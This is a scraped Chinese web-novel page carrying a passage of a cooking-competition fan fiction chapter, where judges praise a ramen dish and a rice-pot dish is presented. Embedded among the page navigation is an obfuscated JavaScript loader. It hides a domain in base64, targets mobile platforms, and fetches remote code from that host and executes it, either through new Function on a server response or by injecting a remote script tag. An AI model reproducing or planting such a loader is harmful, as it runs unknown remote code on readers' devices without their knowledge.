妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第一百三十一章 山珍炊饭(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

让人不管吃多少口,也只觉得好像无法满足自己的胃口。

美妙的滋味在口舌间绽放,极致的鲜美变换着到来,混合着无数的口感,缓缓释放着一股浓郁的甘醇,越是咀嚼面条的香气也就越是释放出来。

与汤汁融合,形成了另外的一种鲜美。

可以说才波朝阳的这道料理的层次之丰富,还要超过一开始众多评委的预料外。

“光是这一道拉面,就已经体现出了深厚至极的料理技巧。”

“牛骨汤为底,加入了牛肉炖煮,又放入了咖喱粉和沙茶酱,如果我没有猜错,沙茶酱里还要少许的花生酱,让口味会多一丝坚果香气,可是放入了这些香料以后,汤色竟然没有任何的浑浊。”

“依旧是这么清澈,还有一股番茄的酸甜鲜美。”

“你应该是将这些酱料都做了一点雾化细化的处理,并且提取出了番茄的味道,去掉了多余的颜色对吧...”

对于现代料理科技的进步,有了一个全新的认识,竟然可以做到这种程度的萃取,味道香气都没有失去的同时,还能让汤汁的感受越发的美妙。

没有等才波朝阳回答,点评着这道料理的薙切仙左卫门,神色异常的兴奋。

因为他看到了才波朝阳的进步,这样的进步,简直是让人不由得精神一震。

“更加难得的是,这样的汤汁,完美的配合了鸡蛋拉面,让拉面的味道不断的释放,也同时吸收了汤汁的鲜美。”

“两者不断的融合,也造成了更加美味的姿态。”

“虽然名叫家庭式牛肉拉面,可是却绝非家庭可以烹饪出来的味道。”

给出了极高的评价以后,薙切仙左卫门才终于缓了一口气。

剩下的让副评去补充,而几位代理师范对于才波朝阳的这道料理,也是赞许为主,几乎没有任何的破绽。

尤其是味道层次的变化,每每都出人意料。

简直是让人不自觉就沉醉了进去。

虽然不及赵扶余的惊才绝艳,也没有幸平诚一郎的海纳百川,却也算得上独树一帜,令人眼前一亮了。

要知道幸平创真的料理,创意是没有问题,可是料理技艺上稍逊一筹,终究还是让味觉体验观感上,拉低了不止一个档次。

只是幸平创真如今还年轻,天赋和方向已经找对了,那么接下来的其他短板补齐就会很快了。

本来剩下的料理人就不多,如今便已经几乎上去了大半,剩下的几人里面志村次郎也是终于从那炭火炉灶前站起了身子。

也没有做其他的调味,甚至没有打开锅盖。

但他就是知道自己的这道料理已经完成了!

直接拿着斧锅炊具,直接向着评委台走去,众人的目光也就都汇聚在了那不断的冒着高温蒸汽的锅子之上。

这种铁器打造的小锅,在过去的时候,是炊饭的最佳工具。

有些时候农忙时节懒得再做菜,就将食材和米饭放到一起,在锅子里面煮熟。

这就是东樱国流行的炊饭的来历。

而这种炊饭,也是志村次郎今天要呈上的料理。

山珍炊饭!

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间